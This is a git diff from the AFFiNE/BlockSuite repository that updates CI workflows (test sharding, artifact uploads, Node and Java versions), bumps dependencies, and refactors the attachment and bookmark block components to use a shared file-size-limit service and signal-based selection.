- name: Upload server-native.node
uses: actions/upload-artifact@v4
if: always()
with:
name: server-native.node
path: ./packages/backend/native/server-native.node
@@ -359,6 +381,7 @@ jobs:
run: tar -czf dist.tar.gz --directory=packages/frontend/apps/electron-renderer/dist .
- name: Upload web artifact
uses: actions/upload-artifact@v4
if: always()
with:
name: web
path: dist.tar.gz
@@ -371,6 +394,11 @@ jobs:
- optimize_ci
- build-server-native
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
node_index: [0, 1, 2]
total_nodes: [3]
env:
NODE_ENV: test
DISTRIBUTION: web
@@ -420,6 +448,8 @@ jobs:
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: 'use_fake_openai_api_key'
CI_NODE_INDEX: ${{ matrix.node_index }}
CI_NODE_TOTAL: ${{ matrix.total_nodes }}
- name: Upload server test coverage results
uses: codecov/codecov-action@v5
@@ -594,8 +624,7 @@ jobs:
with:
filters: |
changed:
- 'packages/frontend/core/src/blocksuite/presets/ai/**'
- 'packages/frontend/core/src/components/blocksuite/block-suite-editor/ai/**'
- 'packages/frontend/core/src/blocksuite/ai/**'
- 'tests/affine-cloud-copilot/**'
- name: Setup Node.js
@@ -640,12 +669,16 @@ jobs:
matrix:
tests:
- name: 'Server E2E Test 1/3'
shard: 1
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=1/3
- name: 'Server E2E Test 2/3'
shard: 2
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=2/3
- name: 'Server E2E Test 3/3'
shard: 3
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=3/3
- name: 'Server Desktop E2E Test'
shard: desktop
script: |
yarn affine @affine/electron build:dev
# Workaround for Electron apps failing to initialize on Ubuntu 24.04 due to AppArmor restrictions
@@ -708,10 +741,10 @@ jobs:
COPILOT_PERPLEXITY_API_KEY: 1
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-server
name: test-results-e2e-server-${{ matrix.tests.shard }}
path: ./test-results
if-no-files-found: ignore
@@ -833,7 +866,7 @@ jobs:
yarn affine @affine/electron node ./scripts/macos-arm64-output-check.ts
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.spec.os }}-${{ matrix.spec.arch }}
@@ -855,6 +888,7 @@ jobs:
needs:
- analyze
- lint
- lint-rust
- check-yarn-binary
- e2e-test
- e2e-legacy-blocksuite-test

View File

@@ -220,7 +220,7 @@ jobs:
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '17'
java-version: '21'
cache: 'gradle'
- name: Auto increment version code
id: bump
@@ -231,7 +231,7 @@ jobs:
- name: Build
run: |
echo -n "${{ env.AFFINE_ANDROID_SIGN_KEYSTORE }}" | base64 --decode > packages/frontend/apps/android/affine.keystore
yarn workspace @affine/android cap build android
yarn workspace @affine/android cap build android --flavor ${{ env.BUILD_TYPE }} --androidreleasetype AAB
env:
AFFINE_ANDROID_KEYSTORE_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_PASSWORD }}
AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD: ${{ secrets.AFFINE_ANDROID_KEYSTORE_ALIAS_PASSWORD }}
@@ -243,7 +243,7 @@ jobs:
with:
serviceAccountJson: ${{ steps.auth.outputs.credentials_file_path }}
packageName: app.affine.pro
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/release/app-release-signed.aab
releaseFiles: packages/frontend/apps/android/App/app/build/outputs/bundle/${{ env.BUILD_TYPE }}Release/app-${{ env.BUILD_TYPE }}-release-signed.aab
track: internal
status: draft
existingEditId: ${{ steps.bump.outputs.EDIT_ID }}

View File

@@ -1,23 +0,0 @@
name: Deploy Cloudflare Worker
on:
push:
branches:
- canary
paths:
- tools/workers/**
jobs:
deploy:
runs-on: ubuntu-latest
name: Deploy
environment: stable
steps:
- uses: actions/checkout@v4
- name: Publish
uses: cloudflare/wrangler-action@v3.13.0
with:
apiToken: ${{ secrets.CF_API_TOKEN }}
accountId: ${{ secrets.CF_ACCOUNT_ID }}
workingDirectory: 'tools/workers'
packageManager: 'yarn'

2
.nvmrc
View File

@@ -1 +1 @@
20.18.1
22.14.0

View File

@@ -28,6 +28,8 @@ test-results
# per files
tools/cli/src/webpack/error-handler.js
packages/backend/native/index.d.ts
packages/backend/server/src/__tests__/__snapshots__
packages/common/native/fixtures/**
packages/frontend/native/index.d.ts
packages/frontend/native/index.js
packages/frontend/graphql/src/graphql/index.ts

1931
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -15,23 +15,28 @@ affine_common = { path = "./packages/common/native" }
affine_nbstore = { path = "./packages/frontend/native/nbstore" }
anyhow = "1"
base64-simd = "0.8"
block2 = "0.6"
chrono = "0.4"
core-foundation = "0.10"
coreaudio-rs = "0.12"
criterion2 = { version = "2", default-features = false }
dashmap = "6"
dispatch2 = "0.2"
dotenvy = "0.15"
file-format = { version = "0.26", features = ["reader"] }
homedir = "0.3"
mimalloc = "0.1"
napi = { version = "3.0.0-alpha.12", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-alpha.12" }
notify = { version = "8", features = ["serde"] }
objc2 = "0.5.2"
objc2-foundation = "0.2.2"
objc2 = "0.6"
objc2-foundation = "0.3"
once_cell = "1"
parking_lot = "0.12"
homedir = "0.3"
rand = "0.8"
rand = "0.9"
rayon = "1.10"
rubato = "0.16"
screencapturekit = "0.3"
serde = "1"
serde_json = "1"
sha3 = "0.10"
@@ -39,7 +44,7 @@ sqlx = { version = "0.8", default-features = false, features = ["chr
thiserror = "2"
tiktoken-rs = "0.6"
tokio = "1.37"
uniffi = "0.28"
uniffi = "0.29"
uuid = "1.8"
v_htmlescape = "0.15"
y-octo = { git = "https://github.com/y-crdt/y-octo.git", branch = "main" }

View File

@@ -17,7 +17,6 @@
"@blocksuite/blocks": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/inline": "workspace:*",
"@blocksuite/presets": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*"
},
@@ -33,10 +32,10 @@
"./global/di": "./src/global/di.ts",
"./global/types": "./src/global/types.ts",
"./store": "./src/store/index.ts",
"./store/test": "./src/store/test.ts",
"./inline": "./src/inline/index.ts",
"./inline/consts": "./src/inline/consts.ts",
"./inline/types": "./src/inline/types.ts",
"./presets": "./src/presets/index.ts",
"./blocks": "./src/blocks/index.ts",
"./blocks/schemas": "./src/blocks/schemas.ts",
"./sync": "./src/sync/index.ts"
@@ -82,9 +81,6 @@
"inline/types": [
"dist/inline/types.d.ts"
],
"presets": [
"dist/presets/index.d.ts"
],
"blocks": [
"dist/blocks/index.d.ts"
],
@@ -102,5 +98,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
"version": "0.20.0"
}

View File

@@ -1,7 +1,5 @@
import { effects as blocksEffects } from '@blocksuite/blocks/effects';
import { effects as presetsEffects } from '@blocksuite/presets/effects';
export function effects() {
blocksEffects();
presetsEffects();
}

View File

@@ -1 +0,0 @@
export * from '@blocksuite/presets';

View File

@@ -0,0 +1,6 @@
export {
createAutoIncrementIdGenerator,
TestDoc,
TestMeta,
TestWorkspace,
} from '@blocksuite/store/test';

View File

@@ -11,7 +11,6 @@
{ "path": "../../blocks" },
{ "path": "../../framework/global" },
{ "path": "../../framework/inline" },
{ "path": "../../presets" },
{ "path": "../../framework/store" },
{ "path": "../../framework/sync" }
]

View File

@@ -23,10 +23,10 @@
"@blocksuite/icons": "^2.2.1",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.3",
"@toeverything/theme": "^1.1.12",
"file-type": "^20.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
"version": "0.20.0"
}

View File

@@ -3,7 +3,7 @@ import { CaptionedBlockComponent } from '@blocksuite/affine-components/caption';
import { HoverController } from '@blocksuite/affine-components/hover';
import {
AttachmentIcon16,
getAttachmentFileIcons,
getAttachmentFileIcon,
} from '@blocksuite/affine-components/icons';
import { Peekable } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
@@ -11,13 +11,12 @@ import {
type AttachmentBlockModel,
AttachmentBlockStyles,
} from '@blocksuite/affine-model';
import { ThemeProvider } from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import {
BlockSelection,
SurfaceSelection,
TextSelection,
} from '@blocksuite/block-std';
FileSizeLimitService,
ThemeProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import { BlockSelection, TextSelection } from '@blocksuite/block-std';
import { Slice } from '@blocksuite/store';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
@@ -26,25 +25,19 @@ import { classMap } from 'lit/directives/class-map.js';
import { ref } from 'lit/directives/ref.js';
import { styleMap } from 'lit/directives/style-map.js';
import type { AttachmentBlockService } from './attachment-service.js';
import { AttachmentOptionsTemplate } from './components/options.js';
import { AttachmentEmbedProvider } from './embed.js';
import { styles } from './styles.js';
import { checkAttachmentBlob, downloadAttachmentBlob } from './utils.js';
@Peekable()
export class AttachmentBlockComponent extends CaptionedBlockComponent<
AttachmentBlockModel,
AttachmentBlockService
> {
export class AttachmentBlockComponent extends CaptionedBlockComponent<AttachmentBlockModel> {
static override styles = styles;
protected _isDragging = false;
protected _isResizing = false;
protected _isSelected = false;
protected _whenHover: HoverController | null = new HoverController(
this,
({ abortController }) => {
@@ -90,10 +83,14 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
margin: '18px 0px',
});
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
convertTo = () => {
return this.std
.get(AttachmentEmbedProvider)
.convertTo(this.model, this.service.maxFileSize);
.convertTo(this.model, this._maxFileSize);
};
copy = () => {
@@ -109,7 +106,7 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
embedded = () => {
return this.std
.get(AttachmentEmbedProvider)
.embedded(this.model, this.service.maxFileSize);
.embedded(this.model, this._maxFileSize);
};
open = () => {
@@ -126,7 +123,7 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
protected get embedView() {
return this.std
.get(AttachmentEmbedProvider)
.render(this.model, this.blobUrl, this.service.maxFileSize);
.render(this.model, this.blobUrl, this._maxFileSize);
}
private _selectBlock() {
@@ -170,26 +167,21 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
// this is required to prevent iframe from capturing pointer events
this.disposables.add(
this.std.selection.slots.changed.on(() => {
this._isSelected =
!!this.selected?.is(BlockSelection) ||
!!this.selected?.is(SurfaceSelection);
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this.selected$.subscribe(selected => {
this._showOverlay = this._isResizing || this._isDragging || !selected;
})
);
// this is required to prevent iframe from capturing pointer events
this.handleEvent('dragStart', () => {
this._isDragging = true;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
});
this.handleEvent('dragEnd', () => {
this._isDragging = false;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
});
}
@@ -226,7 +218,7 @@ export class AttachmentBlockComponent extends CaptionedBlockComponent<
const infoText = this.error ? 'File loading failed.' : humanFileSize(size);
const fileType = name.split('.').pop() ?? '';
const FileTypeIcon = getAttachmentFileIcons(fileType);
const FileTypeIcon = getAttachmentFileIcon(fileType);
const embedView = this.embedView;

View File

@@ -35,7 +35,7 @@ export class AttachmentEdgelessBlockComponent extends toGfxBlockComponent(
this.slots.elementResizeEnd.on(() => {
this._isResizing = false;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
})
);
}

View File

@@ -1,24 +1,18 @@
import { FileDropConfigExtension } from '@blocksuite/affine-components/drag-indicator';
import { SurfaceBlockModel } from '@blocksuite/affine-block-surface';
import { FileDropConfigExtension } from '@blocksuite/affine-components/drop-indicator';
import { AttachmentBlockSchema } from '@blocksuite/affine-model';
import { TelemetryProvider } from '@blocksuite/affine-shared/services';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import {
isInsideEdgelessEditor,
matchFlavours,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { BlockService } from '@blocksuite/block-std';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
import { addAttachments, addSiblingAttachmentBlocks } from './utils.js';
// bytes.parse('2GB')
const maxFileSize = 2147483648;
export class AttachmentBlockService extends BlockService {
static override readonly flavour = AttachmentBlockSchema.model.flavour;
maxFileSize = maxFileSize;
}
export const AttachmentDropOption = FileDropConfigExtension({
flavour: AttachmentBlockSchema.model.flavour,
onDrop: ({ files, targetModel, placement, point, std }) => {
@@ -28,11 +22,12 @@ export const AttachmentDropOption = FileDropConfigExtension({
);
if (!attachmentFiles.length) return false;
if (targetModel && !matchFlavours(targetModel, ['affine:surface'])) {
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
if (targetModel && !matchModels(targetModel, [SurfaceBlockModel])) {
addSiblingAttachmentBlocks(
std.host,
attachmentFiles,
// TODO: use max file size from service
maxFileSize,
targetModel,
placement

View File

@@ -3,10 +3,7 @@ import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { AttachmentBlockNotionHtmlAdapterExtension } from './adapters/notion-html.js';
import {
AttachmentBlockService,
AttachmentDropOption,
} from './attachment-service.js';
import { AttachmentDropOption } from './attachment-service.js';
import {
AttachmentEmbedConfigExtension,
AttachmentEmbedService,
@@ -14,7 +11,6 @@ import {
export const AttachmentBlockSpec: ExtensionType[] = [
FlavourExtension('affine:attachment'),
AttachmentBlockService,
BlockViewExtension('affine:attachment', model => {
return model.parent?.flavour === 'affine:surface'
? literal`affine-edgeless-attachment`

View File

@@ -2,8 +2,6 @@ import {
CaptionIcon,
DownloadIcon,
EditIcon,
MoreVerticalIcon,
SmallArrowDownIcon,
} from '@blocksuite/affine-components/icons';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import {
@@ -21,6 +19,7 @@ import {
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { Bound } from '@blocksuite/global/utils';
import { ArrowDownSmallIcon, MoreVerticalIcon } from '@blocksuite/icons/lit';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
import { join } from 'lit/directives/join.js';
@@ -88,7 +87,7 @@ export function attachmentViewToggleMenu({
<span style="text-transform: capitalize">${viewType}</span>
view
</div>
${SmallArrowDownIcon}
${ArrowDownSmallIcon({ width: '16px', height: '16px' })}
</editor-icon-button>
`}
>
@@ -200,8 +199,12 @@ export function AttachmentOptionsTemplate({
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button aria-label="More" .tooltip=${'More'}>
${MoreVerticalIcon}
<editor-icon-button
aria-label="More"
.tooltip=${'More'}
.iconSize=${'20px'}
>
${MoreVerticalIcon()}
</editor-icon-button>
`}
>

View File

@@ -1,6 +1,5 @@
import { AttachmentBlockComponent } from './attachment-block';
import { AttachmentEdgelessBlockComponent } from './attachment-edgeless-block';
import type { AttachmentBlockService } from './attachment-service';
export function effects() {
customElements.define(
@@ -9,11 +8,3 @@ export function effects() {
);
customElements.define('affine-attachment', AttachmentBlockComponent);
}
declare global {
namespace BlockSuite {
interface BlockServices {
'affine:attachment': AttachmentBlockService;
}
}
}

View File

@@ -1,18 +1,25 @@
import type {
AttachmentBlockModel,
ImageBlockProps,
} from '@blocksuite/affine-model';
import {
type AttachmentBlockModel,
type ImageBlockProps,
MAX_IMAGE_WIDTH,
} from '@blocksuite/affine-model';
import { FileSizeLimitService } from '@blocksuite/affine-shared/services';
import {
readImageSize,
transformModel,
withTempBlobData,
} from '@blocksuite/affine-shared/utils';
import { type BlockStdScope, StdIdentifier } from '@blocksuite/block-std';
import type { Container } from '@blocksuite/global/di';
import { createIdentifier } from '@blocksuite/global/di';
import { Bound } from '@blocksuite/global/utils';
import type { ExtensionType } from '@blocksuite/store';
import { Extension } from '@blocksuite/store';
import type { TemplateResult } from 'lit';
import { html } from 'lit';
import { getAttachmentBlob } from './utils';
export type AttachmentEmbedConfig = {
name: string;
/**
@@ -22,7 +29,10 @@ export type AttachmentEmbedConfig = {
/**
* The action will be executed when the 「Turn into embed view」 button is clicked.
*/
action?: (model: AttachmentBlockModel) => Promise<void> | void;
action?: (
model: AttachmentBlockModel,
std: BlockStdScope
) => Promise<void> | void;
/**
* The template will be used to render the embed view.
*/
@@ -57,8 +67,9 @@ export const AttachmentEmbedProvider = createIdentifier<AttachmentEmbedService>(
);
export class AttachmentEmbedService extends Extension {
// 10MB
static MAX_EMBED_SIZE = 10 * 1024 * 1024;
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
get keys() {
return this.configs.keys();
@@ -68,7 +79,11 @@ export class AttachmentEmbedService extends Extension {
return this.configs.values();
}
constructor(private readonly configs: Map<string, AttachmentEmbedConfig>) {
get configs(): Map<string, AttachmentEmbedConfig> {
return this.std.get(AttachmentEmbedConfigMapIdentifier);
}
constructor(private readonly std: BlockStdScope) {
super();
}
@@ -76,35 +91,27 @@ export class AttachmentEmbedService extends Extension {
di.addImpl(AttachmentEmbedConfigMapIdentifier, provider =>
provider.getAll(AttachmentEmbedConfigIdentifier)
);
di.addImpl(AttachmentEmbedProvider, AttachmentEmbedService, [
AttachmentEmbedConfigMapIdentifier,
]);
di.addImpl(AttachmentEmbedProvider, this, [StdIdentifier]);
}
// Converts to embed view.
convertTo(
model: AttachmentBlockModel,
maxFileSize = AttachmentEmbedService.MAX_EMBED_SIZE
) {
convertTo(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
const config = this.values.find(config => config.check(model, maxFileSize));
if (!config || !config.action) {
if (!config?.action) {
model.doc.updateBlock(model, { embed: true });
return;
}
config.action(model)?.catch(console.error);
config.action(model, this.std)?.catch(console.error);
}
embedded(
model: AttachmentBlockModel,
maxFileSize = AttachmentEmbedService.MAX_EMBED_SIZE
) {
embedded(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
return this.values.some(config => config.check(model, maxFileSize));
}
render(
model: AttachmentBlockModel,
blobUrl?: string,
maxFileSize = AttachmentEmbedService.MAX_EMBED_SIZE
maxFileSize = this._maxFileSize
) {
if (!model.embed || !blobUrl) return;
@@ -124,7 +131,12 @@ const embedConfig: AttachmentEmbedConfig[] = [
check: model =>
model.doc.schema.flavourSchemaMap.has('affine:image') &&
model.type.startsWith('image/'),
action: model => turnIntoImageBlock(model),
async action(model, std) {
const component = std.view.getBlock(model.id);
if (!component) return;
await turnIntoImageBlock(model);
},
},
{
name: 'pdf',
@@ -152,7 +164,13 @@ const embedConfig: AttachmentEmbedConfig[] = [
check: (model, maxFileSize) =>
model.type.startsWith('video/') && model.size <= maxFileSize,
template: (_, blobUrl) =>
html`<video width="100%;" height="480" controls src=${blobUrl}></video>`,
html`<video
style="max-height: max-content;"
width="100%;"
height="480"
controls
src=${blobUrl}
></video>`,
},
{
name: 'audio',
@@ -166,7 +184,7 @@ const embedConfig: AttachmentEmbedConfig[] = [
/**
* Turn the attachment block into an image block.
*/
export function turnIntoImageBlock(model: AttachmentBlockModel) {
export async function turnIntoImageBlock(model: AttachmentBlockModel) {
if (!model.doc.schema.flavourSchemaMap.has('affine:image')) {
console.error('The image flavour is not supported!');
return;
@@ -178,15 +196,37 @@ export function turnIntoImageBlock(model: AttachmentBlockModel) {
const { saveAttachmentData, getImageData } = withTempBlobData();
saveAttachmentData(sourceId, { name: model.name });
const imageConvertData = model.sourceId
? getImageData(model.sourceId)
let imageSize = model.sourceId ? getImageData(model.sourceId) : undefined;
const bounds = model.xywh
? Bound.fromXYWH(model.deserializedXYWH)
: undefined;
if (bounds) {
if (!imageSize?.width || !imageSize?.height) {
const blob = await getAttachmentBlob(model);
if (blob) {
imageSize = await readImageSize(blob);
}
}
if (imageSize?.width && imageSize?.height) {
const p = imageSize.height / imageSize.width;
imageSize.width = Math.min(imageSize.width, MAX_IMAGE_WIDTH);
imageSize.height = imageSize.width * p;
bounds.w = imageSize.width;
bounds.h = imageSize.height;
}
}
const others = bounds ? { xywh: bounds.serialize() } : undefined;
const imageProp: Partial<ImageBlockProps> = {
sourceId,
caption: model.caption,
size: model.size,
...imageConvertData,
...imageSize,
...others,
};
transformModel(model, 'affine:image', imageProp);
}

View File

@@ -1,7 +1,3 @@
import type * as SurfaceEffects from '@blocksuite/affine-block-surface/effects';
declare type _GLOBAL_ = typeof SurfaceEffects;
export * from './adapters/notion-html';
export * from './attachment-block';
export * from './attachment-service';

View File

@@ -1,7 +1,3 @@
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { css } from 'lit';
export const styles = css`
@@ -12,7 +8,7 @@ export const styles = css`
gap: 12px;
width: 100%;
height: ${EMBED_CARD_HEIGHT.horizontalThin}px;
height: 100%;
padding: 12px;
border-radius: 8px;
@@ -121,9 +117,6 @@ export const styles = css`
}
.affine-attachment-card.cubeThick {
width: ${EMBED_CARD_WIDTH.cubeThick}px;
height: ${EMBED_CARD_HEIGHT.cubeThick}px;
flex-direction: column-reverse;
.affine-attachment-content {

View File

@@ -8,7 +8,10 @@ import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { TelemetryProvider } from '@blocksuite/affine-shared/services';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import type { BlockStdScope, EditorHost } from '@blocksuite/block-std';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
@@ -94,7 +97,7 @@ export async function uploadAttachmentBlob(
}
}
async function getAttachmentBlob(model: AttachmentBlockModel) {
export async function getAttachmentBlob(model: AttachmentBlockModel) {
const sourceId = model.sourceId;
if (!sourceId) {
return null;
@@ -212,7 +215,8 @@ export async function addSiblingAttachmentBlocks(
files: File[],
maxFileSize: number,
targetModel: BlockModel,
place: 'before' | 'after' = 'after'
place: 'before' | 'after' = 'after',
isEmbed?: boolean
) {
if (!files.length) {
return;
@@ -242,6 +246,7 @@ export async function addSiblingAttachmentBlocks(
name: file.name,
size: file.size,
type: types[index],
embed: isEmbed,
}));
const blockIds = doc.addSiblingBlocks(
@@ -261,18 +266,13 @@ export async function addSiblingAttachmentBlocks(
export async function addAttachments(
std: BlockStdScope,
files: File[],
point?: IVec
point?: IVec,
transformPoint?: boolean // determines whether we should use `toModelCoord` to convert the point
): Promise<string[]> {
if (!files.length) return [];
const attachmentService = std.getService('affine:attachment');
const gfx = std.get(GfxControllerIdentifier);
if (!attachmentService) {
console.error('Attachment service not found');
return [];
}
const maxFileSize = attachmentService.maxFileSize;
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
const isSizeExceeded = files.some(file => file.size > maxFileSize);
if (isSizeExceeded) {
toast(
@@ -287,7 +287,14 @@ export async function addAttachments(
}
let { x, y } = gfx.viewport.center;
if (point) [x, y] = gfx.viewport.toModelCoord(...point);
if (point) {
let transform = transformPoint ?? true;
if (transform) {
[x, y] = gfx.viewport.toModelCoord(...point);
} else {
[x, y] = point;
}
}
const CARD_STACK_GAP = 32;

View File

@@ -14,7 +14,6 @@
"license": "MIT",
"dependencies": {
"@blocksuite/affine-block-embed": "workspace:*",
"@blocksuite/affine-block-surface": "workspace:*",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
@@ -23,10 +22,10 @@
"@blocksuite/icons": "^2.2.1",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.3",
"@toeverything/theme": "^1.1.12",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"zod": "^3.23.8"
@@ -41,5 +40,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
"version": "0.20.0"
}

View File

@@ -4,21 +4,23 @@ import {
} from '@blocksuite/affine-components/caption';
import type { BookmarkBlockModel } from '@blocksuite/affine-model';
import { DocModeProvider } from '@blocksuite/affine-shared/services';
import { BlockSelection } from '@blocksuite/block-std';
import { computed, type ReadonlySignal } from '@preact/signals-core';
import { html } from 'lit';
import { property, query } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { type ClassInfo, classMap } from 'lit/directives/class-map.js';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
import type { BookmarkBlockService } from './bookmark-service.js';
import { refreshBookmarkUrlData } from './utils.js';
export const BOOKMARK_MIN_WIDTH = 450;
export class BookmarkBlockComponent extends CaptionedBlockComponent<
BookmarkBlockModel,
BookmarkBlockService
> {
export class BookmarkBlockComponent extends CaptionedBlockComponent<BookmarkBlockModel> {
selectedStyle$: ReadonlySignal<ClassInfo> | null = computed<ClassInfo>(
() => ({
'selected-style': this.selected$.value,
})
);
private _fetchAbortController?: AbortController;
blockDraggable = true;
@@ -74,13 +76,12 @@ export class BookmarkBlockComponent extends CaptionedBlockComponent<
}
override renderBlock() {
const selected = !!this.selected?.is(BlockSelection);
return html`
<div
draggable="${this.blockDraggable ? 'true' : 'false'}"
class=${classMap({
'affine-bookmark-container': true,
'selected-style': selected,
...this.selectedStyle$?.value,
})}
style=${this.containerStyleMap}
>

View File

@@ -3,13 +3,15 @@ import {
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { toGfxBlockComponent } from '@blocksuite/block-std';
import { styleMap } from 'lit/directives/style-map.js';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
import { BookmarkBlockComponent } from './bookmark-block.js';
export class BookmarkEdgelessBlockComponent extends toGfxBlockComponent(
BookmarkBlockComponent
) {
override selectedStyle$ = null;
override blockDraggable = false;
override getRenderingRect() {
@@ -43,7 +45,9 @@ export class BookmarkEdgelessBlockComponent extends toGfxBlockComponent(
return this.renderPageContent();
}
protected override accessor blockContainerStyles = {};
protected override accessor blockContainerStyles: StyleInfo = {
height: '100%',
};
}
declare global {

View File

@@ -1,16 +0,0 @@
import { LinkPreviewer } from '@blocksuite/affine-block-embed';
import { BookmarkBlockSchema } from '@blocksuite/affine-model';
import { BlockService } from '@blocksuite/block-std';
export class BookmarkBlockService extends BlockService {
static override readonly flavour = BookmarkBlockSchema.model.flavour;
private static readonly linkPreviewer = new LinkPreviewer();
static setLinkPreviewEndpoint =
BookmarkBlockService.linkPreviewer.setEndpoint;
queryUrlData = (url: string, signal?: AbortSignal) => {
return BookmarkBlockService.linkPreviewer.query(url, signal);
};
}

View File

@@ -1,19 +1,11 @@
import {
BlockViewExtension,
CommandExtension,
FlavourExtension,
} from '@blocksuite/block-std';
import { BlockViewExtension, FlavourExtension } from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { BookmarkBlockAdapterExtensions } from './adapters/extension.js';
import { BookmarkBlockService } from './bookmark-service.js';
import { commands } from './commands/index.js';
export const BookmarkBlockSpec: ExtensionType[] = [
FlavourExtension('affine:bookmark'),
BookmarkBlockService,
CommandExtension(commands),
BlockViewExtension('affine:bookmark', model => {
return model.parent?.flavour === 'affine:surface'
? literal`affine-edgeless-bookmark`

View File

@@ -1,9 +1,2 @@
import type { BlockCommands } from '@blocksuite/block-std';
import { insertBookmarkCommand } from './insert-bookmark.js';
import { insertLinkByQuickSearchCommand } from './insert-link-by-quick-search.js';
export const commands: BlockCommands = {
insertBookmark: insertBookmarkCommand,
insertLinkByQuickSearch: insertLinkByQuickSearchCommand,
};
export { insertBookmarkCommand } from './insert-bookmark.js';
export { insertLinkByQuickSearchCommand } from './insert-link-by-quick-search.js';

View File

@@ -5,11 +5,7 @@ import type { EmbedCardStyle } from '@blocksuite/affine-model';
import { EmbedOptionProvider } from '@blocksuite/affine-shared/services';
import type { Command } from '@blocksuite/block-std';
export const insertBookmarkCommand: Command<
never,
'insertedLinkType',
{ url: string }
> = (ctx, next) => {
export const insertBookmarkCommand: Command<{ url: string }> = (ctx, next) => {
const { url, std } = ctx;
const embedOptions = std.get(EmbedOptionProvider).getEmbedBlockOptions(url);

View File

@@ -1,10 +1,15 @@
import type { InsertedLinkType } from '@blocksuite/affine-block-embed';
import {
type InsertedLinkType,
insertEmbedLinkedDocCommand,
} from '@blocksuite/affine-block-embed';
import { QuickSearchProvider } from '@blocksuite/affine-shared/services';
import type { Command } from '@blocksuite/block-std';
import { insertBookmarkCommand } from './insert-bookmark';
export const insertLinkByQuickSearchCommand: Command<
never,
'insertedLinkType'
{},
{ insertedLinkType: Promise<InsertedLinkType> }
> = (ctx, next) => {
const { std } = ctx;
const quickSearchService = std.getOptional(QuickSearchProvider);
@@ -20,7 +25,7 @@ export const insertLinkByQuickSearchCommand: Command<
// add linked doc
if ('docId' in result) {
std.command.exec('insertEmbedLinkedDoc', {
std.command.exec(insertEmbedLinkedDocCommand, {
docId: result.docId,
params: result.params,
});
